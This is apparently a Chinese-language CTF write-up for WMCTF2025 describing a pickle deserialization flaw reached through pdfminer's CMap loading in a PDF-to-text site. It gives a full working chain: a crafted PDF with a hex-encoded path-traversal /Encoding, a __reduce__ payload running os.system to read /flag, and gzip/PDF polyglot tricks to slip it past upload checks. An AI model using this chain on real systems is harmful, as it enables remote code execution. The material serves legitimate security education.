WMCTF2025

前言

本题的功能点是一个将pdf转换为txt的网站,修复方式是把pickle换成了marshal

分析调用链

这题考察pickle反序列化,首先在pdfminer库里搜索pickle.loads

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)

这里反序列化的数据是默认的cmap目录下的文件,如果能让他变成我们可控的文件就能够实现rce

注意到path里面的filename是我们可控的,如果能目录穿越到我们可控的目录就可以了,往上寻找看看是从哪里调用过来的

image-20250923130848407

发现有两个地方调用了_load_data函数,但是get_unicode_map 调用的时候前缀是写死的无法进行目录穿越

所以只能是get_cmap,继续看

image-20250923131155099

找到这里,再继续看get_cmap_from_spec

image-20250923131249192

是PDFCIDFont类初始化的时候调用的,继续看

image-20250923131416719

image-20250923131448101

其实到这里已经很明显了,就是在处理CIDFont字体的时候调用的,但是还是继续看完

image-20250923131557145

image-20250923131620302

image-20250923131635382

image-20250923131648622

找到了入口函数extract_pages

那么整个过程就清晰了,就是当一页pdf里面存在CIDFont字体的时候就会实例化一个PDFCIDFont对象来处理,最后调到了pcikle.loads

image-20250923132114656

这个函数中可以看到,name是通过Encoding获取的,所以我们只要在pdf中插入一个CIDFont字体并且指定Encoding就可以反序列化我们可控的文件

构造恶意文件

pdf直接让ai生成就行了,再自己改一下Encoding (帮我生成一个简单的pdf文件,声明CIDFont字体,以纯文本形式输出)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj

2 0 obj
<<
/Type /Pages
/Count 1
/Kids [3 0 R]
>>
endobj

3 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 595 842]
/Resources <<
/Font <<
/F1 4 0 R
>>
>>
/Contents 5 0 R
>>
endobj

4 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /Adobe-GB1
/Encoding /..#2F..#2F..#2F..#2F..#2F..#2F..#2F..#2Fapp#2Fuploads#2Fpickle
/DescendantFonts [6 0 R]
>>
endobj

6 0 obj
<<
/Type /Font
/Subtype /CIDFontType0
/BaseFont /Adobe-GB1
/CIDSystemInfo <<
/Registry (Adobe)
/Ordering (GB1)
/Supplement 0
>>
>>
endobj

5 0 obj
<< /Length 32 >>
stream
BT
/F1 24 Tf
100 700 Td
(A) Tj
ET
endstream
endobj

xref
0 7
0000000000 65535 f
0000000010 00000 n
0000000058 00000 n
0000000115 00000 n
0000000252 00000 n
0000000375 00000 n
0000000534 00000 n
trailer
<<
/Root 1 0 R
/Size 7
>>
startxref
620
%%EOF

注意这里/要16进制编码一下,反序列化的文件就变成了/app/uploads/pickle.pickle.gz

我们只需要把序列化后的数据存到这个gz文件里就可以了

1
2
3
4
5
6
7
8
9
import pickle
import os

class Tmp:
def __reduce__(self):
return (os.system, ("mkdir ./static;cat /flag > /app/static/1.txt",))

obj = Tmp()
ser_data = pickle.dumps(obj)

但是有一个问题,这题只能上传pdf,如果不是pdf的格式执行到这段代码的时候会报错,导致文件不会写入到uploads目录下

1
2
3
4
5
6
try:
# just if is a pdf
parser = PDFParser(io.BytesIO(pdf_content))
doc = PDFDocument(parser)
except Exception as e:
return str(e), 500

这里有两个解决办法

  1. 利用gz文件的格式
1
2
3
4
5
6
gzip文件格式可以分为四个部分:

文件头必选部分[10个字节]
文件头可选部分[0-N字节]
数据部分
文件尾部分[8个字节]

我们把pdf文件尾写到gz的文件头可选部分,pickle的数据写到数据部分,这样在反序列化的时候只会反序列化pickle数据,(pdf只要有文件尾就可以识别成功)

可以在命令行执行如下命令

1
echo "gASVHgAAAAAAAACMAm50lIwGc3lzdGVtlJOUjAZ3aG9hbWmUhZRSlC4=" | base64 -d | pigz --fast --comment $'\ntrailer\n<< /Root 1 0 R /Size 1 >>\nstartxref\n' > pickle.pickle.gz
  1. 利用gz的compresslevel参数

在gzip压缩文件时,如果指定了compress参数等于0,就会不压缩数据,只为文件添加gz格式,这样pdf在gz文件内就能保持命令,也就可以识别成功,所以只需要

1
2
3
with gzip.open("pickle.pickle1.gz","wb",compresslevel=0) as f:
f.write(ser_data)
f.write(pdf_content)

攻击

先把pickle.pickle.gz传上去,再把pdf传上去就行了,无回显不出网可以写静态文件或者通过报错带出来


WMCTF2025
http://example.com/2025/09/23/WMCTF2025/
作者
onehang
发布于
2025年9月23日
许可协议